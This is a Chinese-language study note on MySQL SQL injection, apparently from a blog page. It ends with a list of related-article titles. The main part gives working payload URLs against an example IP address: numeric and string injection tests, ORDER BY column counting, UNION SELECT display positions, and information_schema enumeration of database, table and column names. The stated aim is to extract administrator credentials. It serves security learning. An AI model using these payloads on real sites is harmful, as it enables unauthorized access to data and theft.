SQL注入原理

步骤 1. 通过特殊的数据库查询语句 2. 在数据库的错误返回中找到sql漏洞 3. 利用sql语句猜解管理人员信息并登陆管理员后台

判断注入类型

下面提到的是数字型和字符型的注入, sql注入还有基于报错型SQL注入、基于布尔/时间的SQL注入、可联合查询的SQL注入

判断数字型注入url为 http://192.168.1.1/search?id=1 and 1 = 1 时, 没有报错, 除非在代码处做了限制(不允许有and字符串)

url为 http://192.168.1.1/search?id=1 and 1 = 2 时, 由于1=2不成立, 也会报错

判断字符型注入

url同样为 http://192.168.1.1/search?id=1'时, 数据库认为id叫做“1'”,查询之后发现没有这个id而返回错误.

==在字符型注入中,需要考虑引号的闭合==

http://192.168.1.1/search?id=1' and '1'='1 在'1'='1 之后没有加上'是因为传参时输入的内容已经被' '包围.

判断后台查询列数

使用order by 试出数据库列数 http://192.168.1.1/search?id=1' order by 数字 如果试6时返回错误, 5时正确.那么列数为5

找显示位

使用union select找出会返回给客户端并显示的列. 如果有5列时,应该这么写http://192.168.1.1/search?id=1 union select 1,2,3,4,5

加入显示位是5,这就意味着数据库之开放了“5”这个窗口用以显示,那么在查询其他信息(如数据库名)时应该用需要查询到信息替换它来显示这些信息

查库名联合查询: select database();

假如显示位是5, http://192.168.1.1/search?id=1 union select 1,2,3,4,database()

- 盲注使用其他方法 (还没学到这里,到时候补充)

查表名

找到库名之后 使用http://192.168.1.1/search?id=1 union select 1,2,3,4,table_name from information_schema.tables where table_schema='库名'

==如果是字符型,此处库名要转换成十六进制==

information_schema

这是一个mysql自带的库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,故我们需要查询这个库

查列名

http://192.168.1.1/search?id=1 union select 1,2,3,4,column_name from information_schema.columns where table_name='表名'

==如果是字符型,此处表名要转换成十六进制==

如果表数或列数过多,可以在最后使用limit

加上limit 0,5 相当于检索1-5条

查具体数据

http://192.168.1.1/search?id=1 union select 1,2,3,4,group_concat(查询的数据) from 表名

教务系统mysql注入的原理_SQL注入原理及具体步骤相关推荐

  1. mysql数据库sql注入原理_sql注入原理详解(一)

    防止SQL注入: 1.开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置 2.执行sql语句时使用addslashes进行sql语句转换 3.Sql语句书写 ...

  2. mysql注入转义绕过_SQL注入防御绕过——宽字节注入

    01 背景知识 字符集 在了解宽字节注入之前,我们先来看一看字符集是什么.字符集也叫字符编码,是一种将符号转换为二进制数的映射关系. 几种常见的字符集: ASCII编码:单字节编码 latin1编码: ...

  3. mysql注入fuzz字典_sql注入fuzz bypass waf

    0x0 前言 0x1 注入点检测 0x2 bypass waf 0x3 自动化 0x0 前言 这里是简单对sql注入绕过waf的一个小总结,非安全研究员,这里不讲原理,关于原理搜集了一些其他大佬的文章 ...

  4. mysql数据库sql注入原理_SQL注入原理解析以及举例1

    sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作. sql注入漏洞产生满足条件: 1:用户能够控制数据的输入. 2:原本需要执行的代码 ...

  5. mysql 报错注入 读文件_SQL注入-读写文件

    SQL注入-读取文件 使用函数 load_file("文件路径/名称") 1.读取/etc/passwd 文件(SQL注入只能读取/etc/passwd文件,不能读取其他文件) h ...

  6. mysql sleep详解_sql注入详解(二)

    sql注入详解 4.检测方法 首先是判断能不能进行sql注入 是哪种sql注入 (1)数字型 ?id=1 and 1=1 返回成功?id=1 and 1=2 返回失败 这说明是数字型注入,或者叫整型注 ...

  7. mysql 注入用例_SQL注入漏洞安全测试(WVS/POST型/手工SQL注入)

    1.WVS自动化SQL注入测试 n  测试目的: 测试网站是否存在SQL注入漏洞. n  测试用例: 1)     Scan settings选择sql injection策略: 2)     输入扫 ...

  8. mysql dba盲注_SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  9. mysql sql注释符号_SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索

    以MySQL为例,首先我们知道mysql注释符有#.-- (后面有空格)./**/三种,在SQL注入中经常用到,但是不一定都适用.笔者在sqlilabs通关过程中就遇到不同场景用的注释符不同,这让我很 ...

  10. mysql注入fuzz字典_SQL注入常规Fuzz全记录

    前言 本篇文章是在做ctf bugku的一道sql 盲注的题(题目地址:注入题目)中运用了fuzz的思路,完整记录整个fuzz的过程,给师傅们当点心,方便大家加深对web sql注入 fuzz的理解. ...

最新文章

  1. 服务器返回的常见的http状态码
  2. Java中重载和复写的区别
  3. python模块的定义_Python基础编程 模块的引入与定义
  4. 每一个都能笑抽,39个奇葩代码注释
  5. (数论)51NOD 1136 欧拉函数
  6. jQuery CSS 添加/删除类名
  7. [3]java1.8线程池—ThreadPoolExecutor
  8. Javascript实现用户注册验证
  9. 教你查看传说中的WPS2005彩蛋
  10. 软件测试面试如何正确谈论薪资?
  11. 赛后题解——真假亚瑟王(数论)
  12. 关于文件夹病毒exe的处理方法
  13. 【超详细分析】关于三次握手与四次挥手面试官想考我们什么?
  14. SOLIDWORKS Electrical无缝集成电气和机械设计
  15. matlab产生光脉冲,【资源】分享一个脉冲的光线中传输的matlab程序 - 仿真模拟 - 小木虫 - 学术 科研 互动社区...
  16. 什么是Linux 的xxd
  17. SIM显示字 SPN,PLMN ,MCC,MNC
  18. 大数据毕业设计 网络舆情热点分析系统 - 情感分析 Python
  19. 树莓派安装下载服务器,小米电视播放
  20. 捕捉RAISERROR异常

热门文章

  1. 计算机网络实验水晶头,计算机网络实验报告制作网线
  2. python存钱挑战_【Python 22】52周存钱挑战2.0(列表list和math函数)
  3. win10熄屏时间不对_Win10系统何如设置自动锁屏时间,教程来啦,windows10怎样设置熄屏时间...
  4. java dos攻击 异常_HashMap出现Hash DOS攻击的问题
  5. DDOS攻击如何防御
  6. phpstudy mysql 版本_phpstudy切换mysql版本
  7. Lamda表达式-入门篇
  8. 勒索病毒数据库恢复 勒索病毒解密恢复 中勒索病毒解密恢复数据
  9. 大连最快的dns服务器设置,大连联通50m宽带,本地dns
  10. 3.12_ValueError: x and y must have same first dimension, but have shapes (100,) and (1,)